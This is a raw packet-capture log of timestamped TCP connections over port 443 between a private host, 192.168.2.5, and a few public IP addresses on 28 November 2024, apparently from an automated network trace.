Nov 28, 2024 06:48:56.213979959 CET	443	49886	13.107.246.63	192.168.2.5
Nov 28, 2024 06:48:56.213989973 CET	49886	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:48:56.213994980 CET	443	49886	13.107.246.63	192.168.2.5
Nov 28, 2024 06:48:56.222238064 CET	49892	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:48:56.222275972 CET	443	49892	13.107.246.63	192.168.2.5
Nov 28, 2024 06:48:56.222347975 CET	49892	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:48:56.222621918 CET	49892	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:48:56.222635984 CET	443	49892	13.107.246.63	192.168.2.5
Nov 28, 2024 06:48:57.070590973 CET	443	49887	13.107.246.63	192.168.2.5
Nov 28, 2024 06:48:57.071310043 CET	49887	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:48:57.071329117 CET	443	49887	13.107.246.63	192.168.2.5
Nov 28, 2024 06:48:57.071851015 CET	49887	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:48:57.071856976 CET	443	49887	13.107.246.63	192.168.2.5
Nov 28, 2024 06:48:57.075385094 CET	443	49888	13.107.246.63	192.168.2.5
Nov 28, 2024 06:48:57.075730085 CET	49888	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:48:57.075754881 CET	443	49888	13.107.246.63	192.168.2.5
Nov 28, 2024 06:48:57.076075077 CET	49888	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:48:57.076081991 CET	443	49888	13.107.246.63	192.168.2.5
Nov 28, 2024 06:48:57.286664963 CET	443	49890	13.107.246.63	192.168.2.5
Nov 28, 2024 06:48:57.287326097 CET	49890	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:48:57.287364960 CET	443	49890	13.107.246.63	192.168.2.5
Nov 28, 2024 06:48:57.287812948 CET	49890	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:48:57.287820101 CET	443	49890	13.107.246.63	192.168.2.5
Nov 28, 2024 06:48:57.411309004 CET	443	49889	13.107.246.63	192.168.2.5
Nov 28, 2024 06:48:57.411876917 CET	49889	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:48:57.411910057 CET	443	49889	13.107.246.63	192.168.2.5
Nov 28, 2024 06:48:57.412560940 CET	49889	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:48:57.412566900 CET	443	49889	13.107.246.63	192.168.2.5
Nov 28, 2024 06:48:57.513603926 CET	443	49887	13.107.246.63	192.168.2.5
Nov 28, 2024 06:48:57.513757944 CET	443	49887	13.107.246.63	192.168.2.5
Nov 28, 2024 06:48:57.513835907 CET	49887	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:48:57.514002085 CET	49887	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:48:57.514015913 CET	443	49887	13.107.246.63	192.168.2.5
Nov 28, 2024 06:48:57.514048100 CET	49887	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:48:57.514054060 CET	443	49887	13.107.246.63	192.168.2.5
Nov 28, 2024 06:48:57.517433882 CET	49893	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:48:57.517463923 CET	443	49893	13.107.246.63	192.168.2.5
Nov 28, 2024 06:48:57.517606974 CET	49893	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:48:57.517774105 CET	49893	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:48:57.517786026 CET	443	49893	13.107.246.63	192.168.2.5
Nov 28, 2024 06:48:57.527674913 CET	443	49888	13.107.246.63	192.168.2.5
Nov 28, 2024 06:48:57.527729034 CET	443	49888	13.107.246.63	192.168.2.5
Nov 28, 2024 06:48:57.527803898 CET	49888	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:48:57.527937889 CET	49888	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:48:57.527956009 CET	443	49888	13.107.246.63	192.168.2.5
Nov 28, 2024 06:48:57.527968884 CET	49888	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:48:57.527975082 CET	443	49888	13.107.246.63	192.168.2.5
Nov 28, 2024 06:48:57.529961109 CET	49894	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:48:57.530008078 CET	443	49894	13.107.246.63	192.168.2.5
Nov 28, 2024 06:48:57.530076981 CET	49894	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:48:57.530193090 CET	49894	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:48:57.530210972 CET	443	49894	13.107.246.63	192.168.2.5
Nov 28, 2024 06:48:57.638653040 CET	443	49891	52.182.143.215	192.168.2.5
Nov 28, 2024 06:48:57.641714096 CET	49891	443	192.168.2.5	52.182.143.215
Nov 28, 2024 06:48:57.641746998 CET	443	49891	52.182.143.215	192.168.2.5
Nov 28, 2024 06:48:57.642733097 CET	443	49891	52.182.143.215	192.168.2.5
Nov 28, 2024 06:48:57.642810106 CET	49891	443	192.168.2.5	52.182.143.215
Nov 28, 2024 06:48:57.644243002 CET	49891	443	192.168.2.5	52.182.143.215
Nov 28, 2024 06:48:57.644305944 CET	443	49891	52.182.143.215	192.168.2.5
Nov 28, 2024 06:48:57.644452095 CET	49891	443	192.168.2.5	52.182.143.215
Nov 28, 2024 06:48:57.644463062 CET	443	49891	52.182.143.215	192.168.2.5
Nov 28, 2024 06:48:57.644491911 CET	49891	443	192.168.2.5	52.182.143.215
Nov 28, 2024 06:48:57.644530058 CET	443	49891	52.182.143.215	192.168.2.5
Nov 28, 2024 06:48:57.696686029 CET	49891	443	192.168.2.5	52.182.143.215
Nov 28, 2024 06:48:57.729513884 CET	443	49890	13.107.246.63	192.168.2.5
Nov 28, 2024 06:48:57.729571104 CET	443	49890	13.107.246.63	192.168.2.5
Nov 28, 2024 06:48:57.729684114 CET	49890	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:48:57.730010033 CET	49890	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:48:57.730029106 CET	443	49890	13.107.246.63	192.168.2.5
Nov 28, 2024 06:48:57.730036974 CET	49890	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:48:57.730042934 CET	443	49890	13.107.246.63	192.168.2.5
Nov 28, 2024 06:48:57.733185053 CET	49895	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:48:57.733206034 CET	443	49895	13.107.246.63	192.168.2.5
Nov 28, 2024 06:48:57.733306885 CET	49895	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:48:57.733459949 CET	49895	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:48:57.733469009 CET	443	49895	13.107.246.63	192.168.2.5
Nov 28, 2024 06:48:57.871920109 CET	443	49889	13.107.246.63	192.168.2.5
Nov 28, 2024 06:48:57.871973991 CET	443	49889	13.107.246.63	192.168.2.5
Nov 28, 2024 06:48:57.872082949 CET	49889	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:48:57.872308016 CET	49889	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:48:57.872328997 CET	443	49889	13.107.246.63	192.168.2.5
Nov 28, 2024 06:48:57.872342110 CET	49889	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:48:57.872349024 CET	443	49889	13.107.246.63	192.168.2.5
Nov 28, 2024 06:48:57.875550985 CET	49896	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:48:57.875641108 CET	443	49896	13.107.246.63	192.168.2.5
Nov 28, 2024 06:48:57.875761032 CET	49896	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:48:57.875922918 CET	49896	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:48:57.875956059 CET	443	49896	13.107.246.63	192.168.2.5
Nov 28, 2024 06:48:58.029736042 CET	443	49892	13.107.246.63	192.168.2.5
Nov 28, 2024 06:48:58.030352116 CET	49892	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:48:58.030381918 CET	443	49892	13.107.246.63	192.168.2.5
Nov 28, 2024 06:48:58.030874968 CET	49892	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:48:58.030881882 CET	443	49892	13.107.246.63	192.168.2.5
Nov 28, 2024 06:48:58.186244965 CET	443	49891	52.182.143.215	192.168.2.5
Nov 28, 2024 06:48:58.186366081 CET	443	49891	52.182.143.215	192.168.2.5
Nov 28, 2024 06:48:58.186422110 CET	49891	443	192.168.2.5	52.182.143.215
Nov 28, 2024 06:48:58.187601089 CET	49891	443	192.168.2.5	52.182.143.215
Nov 28, 2024 06:48:58.187619925 CET	443	49891	52.182.143.215	192.168.2.5
Nov 28, 2024 06:48:58.483035088 CET	443	49892	13.107.246.63	192.168.2.5
Nov 28, 2024 06:48:58.483196974 CET	443	49892	13.107.246.63	192.168.2.5
Nov 28, 2024 06:48:58.483254910 CET	49892	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:48:58.487114906 CET	49892	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:48:58.487143040 CET	443	49892	13.107.246.63	192.168.2.5
Nov 28, 2024 06:48:58.487155914 CET	49892	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:48:58.487163067 CET	443	49892	13.107.246.63	192.168.2.5
Nov 28, 2024 06:48:58.490804911 CET	49897	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:48:58.490849018 CET	443	49897	13.107.246.63	192.168.2.5
Nov 28, 2024 06:48:58.490938902 CET	49897	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:48:58.491096973 CET	49897	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:48:58.491111040 CET	443	49897	13.107.246.63	192.168.2.5
Nov 28, 2024 06:48:58.505306959 CET	49898	443	192.168.2.5	23.209.72.8
Nov 28, 2024 06:48:58.505354881 CET	443	49898	23.209.72.8	192.168.2.5
Nov 28, 2024 06:48:58.505440950 CET	49898	443	192.168.2.5	23.209.72.8
Nov 28, 2024 06:48:58.505616903 CET	49898	443	192.168.2.5	23.209.72.8
Nov 28, 2024 06:48:58.505635023 CET	443	49898	23.209.72.8	192.168.2.5
Nov 28, 2024 06:48:59.244767904 CET	443	49893	13.107.246.63	192.168.2.5
Nov 28, 2024 06:48:59.245449066 CET	49893	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:48:59.245503902 CET	443	49893	13.107.246.63	192.168.2.5
Nov 28, 2024 06:48:59.245959997 CET	49893	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:48:59.245965958 CET	443	49893	13.107.246.63	192.168.2.5
Nov 28, 2024 06:48:59.261132956 CET	443	49894	13.107.246.63	192.168.2.5
Nov 28, 2024 06:48:59.261573076 CET	49894	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:48:59.261585951 CET	443	49894	13.107.246.63	192.168.2.5
Nov 28, 2024 06:48:59.261965036 CET	49894	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:48:59.261970043 CET	443	49894	13.107.246.63	192.168.2.5
Nov 28, 2024 06:48:59.533520937 CET	443	49895	13.107.246.63	192.168.2.5
Nov 28, 2024 06:48:59.534151077 CET	49895	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:48:59.534169912 CET	443	49895	13.107.246.63	192.168.2.5
Nov 28, 2024 06:48:59.534703016 CET	49895	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:48:59.534709930 CET	443	49895	13.107.246.63	192.168.2.5
Nov 28, 2024 06:48:59.670568943 CET	443	49896	13.107.246.63	192.168.2.5
Nov 28, 2024 06:48:59.671235085 CET	49896	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:48:59.671252966 CET	443	49896	13.107.246.63	192.168.2.5
Nov 28, 2024 06:48:59.671740055 CET	49896	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:48:59.671749115 CET	443	49896	13.107.246.63	192.168.2.5
Nov 28, 2024 06:48:59.687419891 CET	443	49893	13.107.246.63	192.168.2.5
Nov 28, 2024 06:48:59.687484980 CET	443	49893	13.107.246.63	192.168.2.5
Nov 28, 2024 06:48:59.687722921 CET	49893	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:48:59.687772989 CET	49893	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:48:59.687789917 CET	443	49893	13.107.246.63	192.168.2.5
Nov 28, 2024 06:48:59.687802076 CET	49893	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:48:59.687807083 CET	443	49893	13.107.246.63	192.168.2.5
Nov 28, 2024 06:48:59.690947056 CET	49899	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:48:59.690989971 CET	443	49899	13.107.246.63	192.168.2.5
Nov 28, 2024 06:48:59.691082001 CET	49899	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:48:59.691303968 CET	49899	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:48:59.691320896 CET	443	49899	13.107.246.63	192.168.2.5
Nov 28, 2024 06:48:59.708795071 CET	443	49894	13.107.246.63	192.168.2.5
Nov 28, 2024 06:48:59.708816051 CET	443	49894	13.107.246.63	192.168.2.5
Nov 28, 2024 06:48:59.708864927 CET	443	49894	13.107.246.63	192.168.2.5
Nov 28, 2024 06:48:59.708878040 CET	49894	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:48:59.708913088 CET	49894	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:48:59.709095001 CET	49894	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:48:59.709111929 CET	443	49894	13.107.246.63	192.168.2.5
Nov 28, 2024 06:48:59.709121943 CET	49894	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:48:59.709126949 CET	443	49894	13.107.246.63	192.168.2.5
Nov 28, 2024 06:48:59.711452007 CET	49900	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:48:59.711483955 CET	443	49900	13.107.246.63	192.168.2.5
Nov 28, 2024 06:48:59.711563110 CET	49900	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:48:59.711733103 CET	49900	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:48:59.711744070 CET	443	49900	13.107.246.63	192.168.2.5
Nov 28, 2024 06:48:59.816134930 CET	443	49898	23.209.72.8	192.168.2.5
Nov 28, 2024 06:48:59.818391085 CET	49898	443	192.168.2.5	23.209.72.8
Nov 28, 2024 06:48:59.818417072 CET	443	49898	23.209.72.8	192.168.2.5
Nov 28, 2024 06:48:59.819309950 CET	443	49898	23.209.72.8	192.168.2.5
Nov 28, 2024 06:48:59.819384098 CET	49898	443	192.168.2.5	23.209.72.8
Nov 28, 2024 06:48:59.819688082 CET	49898	443	192.168.2.5	23.209.72.8
Nov 28, 2024 06:48:59.819751024 CET	443	49898	23.209.72.8	192.168.2.5
Nov 28, 2024 06:48:59.867763996 CET	49898	443	192.168.2.5	23.209.72.8
Nov 28, 2024 06:48:59.867786884 CET	443	49898	23.209.72.8	192.168.2.5
Nov 28, 2024 06:48:59.914657116 CET	49898	443	192.168.2.5	23.209.72.8
Nov 28, 2024 06:49:00.069765091 CET	443	49895	13.107.246.63	192.168.2.5
Nov 28, 2024 06:49:00.069829941 CET	443	49895	13.107.246.63	192.168.2.5
Nov 28, 2024 06:49:00.069885015 CET	49895	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:49:00.070113897 CET	49895	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:49:00.070132017 CET	443	49895	13.107.246.63	192.168.2.5
Nov 28, 2024 06:49:00.070142031 CET	49895	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:49:00.070148945 CET	443	49895	13.107.246.63	192.168.2.5
Nov 28, 2024 06:49:00.077013969 CET	49901	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:49:00.077049017 CET	443	49901	13.107.246.63	192.168.2.5
Nov 28, 2024 06:49:00.077128887 CET	49901	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:49:00.077290058 CET	49901	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:49:00.077301025 CET	443	49901	13.107.246.63	192.168.2.5
Nov 28, 2024 06:49:00.168143988 CET	443	49896	13.107.246.63	192.168.2.5
Nov 28, 2024 06:49:00.168199062 CET	443	49896	13.107.246.63	192.168.2.5
Nov 28, 2024 06:49:00.168256998 CET	49896	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:49:00.168441057 CET	49896	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:49:00.168454885 CET	443	49896	13.107.246.63	192.168.2.5
Nov 28, 2024 06:49:00.168464899 CET	49896	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:49:00.168471098 CET	443	49896	13.107.246.63	192.168.2.5
Nov 28, 2024 06:49:00.171170950 CET	49902	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:49:00.171186924 CET	443	49902	13.107.246.63	192.168.2.5
Nov 28, 2024 06:49:00.171255112 CET	49902	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:49:00.171403885 CET	49902	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:49:00.171415091 CET	443	49902	13.107.246.63	192.168.2.5
Nov 28, 2024 06:49:00.389276981 CET	443	49897	13.107.246.63	192.168.2.5
Nov 28, 2024 06:49:00.389803886 CET	49897	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:49:00.389827967 CET	443	49897	13.107.246.63	192.168.2.5
Nov 28, 2024 06:49:00.390309095 CET	49897	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:49:00.390316010 CET	443	49897	13.107.246.63	192.168.2.5
Nov 28, 2024 06:49:00.855792999 CET	443	49897	13.107.246.63	192.168.2.5
Nov 28, 2024 06:49:00.855855942 CET	443	49897	13.107.246.63	192.168.2.5
Nov 28, 2024 06:49:00.856175900 CET	49897	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:49:00.856188059 CET	443	49897	13.107.246.63	192.168.2.5
Nov 28, 2024 06:49:00.856291056 CET	49897	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:49:00.856304884 CET	443	49897	13.107.246.63	192.168.2.5
Nov 28, 2024 06:49:00.856312990 CET	49897	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:49:00.856690884 CET	443	49897	13.107.246.63	192.168.2.5
Nov 28, 2024 06:49:00.856797934 CET	443	49897	13.107.246.63	192.168.2.5
Nov 28, 2024 06:49:00.857862949 CET	49897	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:49:00.859405994 CET	49903	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:49:00.859447956 CET	443	49903	13.107.246.63	192.168.2.5
Nov 28, 2024 06:49:00.859533072 CET	49903	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:49:00.859730959 CET	49903	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:49:00.859745026 CET	443	49903	13.107.246.63	192.168.2.5
Nov 28, 2024 06:49:01.455636978 CET	443	49900	13.107.246.63	192.168.2.5
Nov 28, 2024 06:49:01.455696106 CET	443	49899	13.107.246.63	192.168.2.5
Nov 28, 2024 06:49:01.456223011 CET	49900	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:49:01.456254959 CET	443	49900	13.107.246.63	192.168.2.5
Nov 28, 2024 06:49:01.456808090 CET	49900	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:49:01.456814051 CET	443	49900	13.107.246.63	192.168.2.5
Nov 28, 2024 06:49:01.457019091 CET	49899	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:49:01.457036972 CET	443	49899	13.107.246.63	192.168.2.5
Nov 28, 2024 06:49:01.457340956 CET	49899	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:49:01.457345963 CET	443	49899	13.107.246.63	192.168.2.5
Nov 28, 2024 06:49:01.898492098 CET	443	49902	13.107.246.63	192.168.2.5
Nov 28, 2024 06:49:01.904331923 CET	443	49900	13.107.246.63	192.168.2.5
Nov 28, 2024 06:49:01.904355049 CET	443	49900	13.107.246.63	192.168.2.5
Nov 28, 2024 06:49:01.904352903 CET	443	49899	13.107.246.63	192.168.2.5
Nov 28, 2024 06:49:01.904385090 CET	443	49899	13.107.246.63	192.168.2.5
Nov 28, 2024 06:49:01.904433012 CET	49900	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:49:01.904453039 CET	443	49899	13.107.246.63	192.168.2.5
Nov 28, 2024 06:49:01.904454947 CET	443	49900	13.107.246.63	192.168.2.5
Nov 28, 2024 06:49:01.904481888 CET	49899	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:49:01.904512882 CET	49899	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:49:01.905394077 CET	443	49900	13.107.246.63	192.168.2.5
Nov 28, 2024 06:49:01.905463934 CET	49900	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:49:01.933378935 CET	443	49901	13.107.246.63	192.168.2.5
Nov 28, 2024 06:49:01.943559885 CET	49902	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:49:01.943574905 CET	443	49902	13.107.246.63	192.168.2.5
Nov 28, 2024 06:49:01.944050074 CET	49902	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:49:01.944053888 CET	443	49902	13.107.246.63	192.168.2.5
Nov 28, 2024 06:49:01.944462061 CET	49900	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:49:01.944478035 CET	443	49900	13.107.246.63	192.168.2.5
Nov 28, 2024 06:49:01.944489956 CET	49900	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:49:01.944495916 CET	443	49900	13.107.246.63	192.168.2.5
Nov 28, 2024 06:49:01.945677996 CET	49899	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:49:01.945703030 CET	443	49899	13.107.246.63	192.168.2.5
Nov 28, 2024 06:49:01.945713043 CET	49899	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:49:01.945718050 CET	443	49899	13.107.246.63	192.168.2.5
Nov 28, 2024 06:49:01.946751118 CET	49901	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:49:01.946770906 CET	443	49901	13.107.246.63	192.168.2.5
Nov 28, 2024 06:49:01.947153091 CET	49901	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:49:01.947158098 CET	443	49901	13.107.246.63	192.168.2.5
Nov 28, 2024 06:49:01.950284958 CET	49904	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:49:01.950314045 CET	443	49904	13.107.246.63	192.168.2.5
Nov 28, 2024 06:49:01.950372934 CET	49904	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:49:01.950489998 CET	49904	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:49:01.950500965 CET	443	49904	13.107.246.63	192.168.2.5
Nov 28, 2024 06:49:01.952052116 CET	49905	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:49:01.952096939 CET	443	49905	13.107.246.63	192.168.2.5
Nov 28, 2024 06:49:01.952152967 CET	49905	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:49:01.952404976 CET	49905	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:49:01.952419996 CET	443	49905	13.107.246.63	192.168.2.5
Nov 28, 2024 06:49:01.971477032 CET	49906	443	192.168.2.5	4.245.163.56
Nov 28, 2024 06:49:01.971503019 CET	443	49906	4.245.163.56	192.168.2.5
Nov 28, 2024 06:49:01.971574068 CET	49906	443	192.168.2.5	4.245.163.56
Nov 28, 2024 06:49:01.971887112 CET	49906	443	192.168.2.5	4.245.163.56
Nov 28, 2024 06:49:01.971904039 CET	443	49906	4.245.163.56	192.168.2.5
Nov 28, 2024 06:49:02.342107058 CET	443	49902	13.107.246.63	192.168.2.5
Nov 28, 2024 06:49:02.345395088 CET	443	49902	13.107.246.63	192.168.2.5
Nov 28, 2024 06:49:02.345458984 CET	49902	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:49:02.345545053 CET	49902	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:49:02.345555067 CET	443	49902	13.107.246.63	192.168.2.5
Nov 28, 2024 06:49:02.345565081 CET	49902	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:49:02.345570087 CET	443	49902	13.107.246.63	192.168.2.5
Nov 28, 2024 06:49:02.348867893 CET	49907	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:49:02.348905087 CET	443	49907	13.107.246.63	192.168.2.5
Nov 28, 2024 06:49:02.348989010 CET	49907	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:49:02.349143982 CET	49907	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:49:02.349160910 CET	443	49907	13.107.246.63	192.168.2.5
Nov 28, 2024 06:49:02.393903017 CET	443	49901	13.107.246.63	192.168.2.5
Nov 28, 2024 06:49:02.393954992 CET	443	49901	13.107.246.63	192.168.2.5
Nov 28, 2024 06:49:02.394031048 CET	49901	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:49:02.394265890 CET	49901	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:49:02.394279957 CET	443	49901	13.107.246.63	192.168.2.5
Nov 28, 2024 06:49:02.394289017 CET	49901	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:49:02.394294024 CET	443	49901	13.107.246.63	192.168.2.5
Nov 28, 2024 06:49:02.397279024 CET	49908	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:49:02.397304058 CET	443	49908	13.107.246.63	192.168.2.5
Nov 28, 2024 06:49:02.397394896 CET	49908	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:49:02.397522926 CET	49908	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:49:02.397533894 CET	443	49908	13.107.246.63	192.168.2.5
Nov 28, 2024 06:49:02.722251892 CET	443	49903	13.107.246.63	192.168.2.5
Nov 28, 2024 06:49:02.722806931 CET	49903	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:49:02.722825050 CET	443	49903	13.107.246.63	192.168.2.5
Nov 28, 2024 06:49:02.723335981 CET	49903	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:49:02.723340988 CET	443	49903	13.107.246.63	192.168.2.5
Nov 28, 2024 06:49:03.182748079 CET	443	49903	13.107.246.63	192.168.2.5
Nov 28, 2024 06:49:03.185925961 CET	443	49903	13.107.246.63	192.168.2.5
Nov 28, 2024 06:49:03.186021090 CET	49903	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:49:03.186345100 CET	49903	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:49:03.186367035 CET	443	49903	13.107.246.63	192.168.2.5
Nov 28, 2024 06:49:03.186378002 CET	49903	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:49:03.186383963 CET	443	49903	13.107.246.63	192.168.2.5
Nov 28, 2024 06:49:03.189843893 CET	49909	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:49:03.189887047 CET	443	49909	13.107.246.63	192.168.2.5
Nov 28, 2024 06:49:03.190092087 CET	49909	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:49:03.197699070 CET	49909	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:49:03.197711945 CET	443	49909	13.107.246.63	192.168.2.5
Nov 28, 2024 06:49:03.697165012 CET	443	49904	13.107.246.63	192.168.2.5
Nov 28, 2024 06:49:03.697818041 CET	49904	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:49:03.697839975 CET	443	49904	13.107.246.63	192.168.2.5
Nov 28, 2024 06:49:03.698334932 CET	49904	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:49:03.698340893 CET	443	49904	13.107.246.63	192.168.2.5
Nov 28, 2024 06:49:03.742950916 CET	443	49905	13.107.246.63	192.168.2.5
Nov 28, 2024 06:49:03.743730068 CET	49905	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:49:03.743760109 CET	443	49905	13.107.246.63	192.168.2.5
Nov 28, 2024 06:49:03.744210005 CET	49905	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:49:03.744215012 CET	443	49905	13.107.246.63	192.168.2.5
Nov 28, 2024 06:49:03.828100920 CET	443	49906	4.245.163.56	192.168.2.5
Nov 28, 2024 06:49:03.828196049 CET	49906	443	192.168.2.5	4.245.163.56
Nov 28, 2024 06:49:03.829864025 CET	49906	443	192.168.2.5	4.245.163.56
Nov 28, 2024 06:49:03.829870939 CET	443	49906	4.245.163.56	192.168.2.5
Nov 28, 2024 06:49:03.830113888 CET	443	49906	4.245.163.56	192.168.2.5
Nov 28, 2024 06:49:03.835932970 CET	49906	443	192.168.2.5	4.245.163.56
Nov 28, 2024 06:49:03.879370928 CET	443	49906	4.245.163.56	192.168.2.5
Nov 28, 2024 06:49:04.087399006 CET	443	49907	13.107.246.63	192.168.2.5
Nov 28, 2024 06:49:04.088084936 CET	49907	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:49:04.088140965 CET	443	49907	13.107.246.63	192.168.2.5
Nov 28, 2024 06:49:04.088591099 CET	49907	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:49:04.088607073 CET	443	49907	13.107.246.63	192.168.2.5
Nov 28, 2024 06:49:04.126079082 CET	443	49908	13.107.246.63	192.168.2.5
Nov 28, 2024 06:49:04.126657009 CET	49908	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:49:04.126679897 CET	443	49908	13.107.246.63	192.168.2.5
Nov 28, 2024 06:49:04.127027035 CET	49908	443	192.168.2.5	13.107.246.63
Nov 28, 2024 06:49:04.127032042 CET	443	49908	13.107.246.63	192.168.2.5
Nov 28, 2024 06:49:04.139643908 CET	443	49904	13.107.246.63	192.168.2.5
Nov 28, 2024 06:49:04.142877102 CET	443	49904	13.107.246.63	192.168.2.5
Nov 28, 2024 06:49:04.142939091 CET	49904	443	192.168.2.5	13.107.246.63
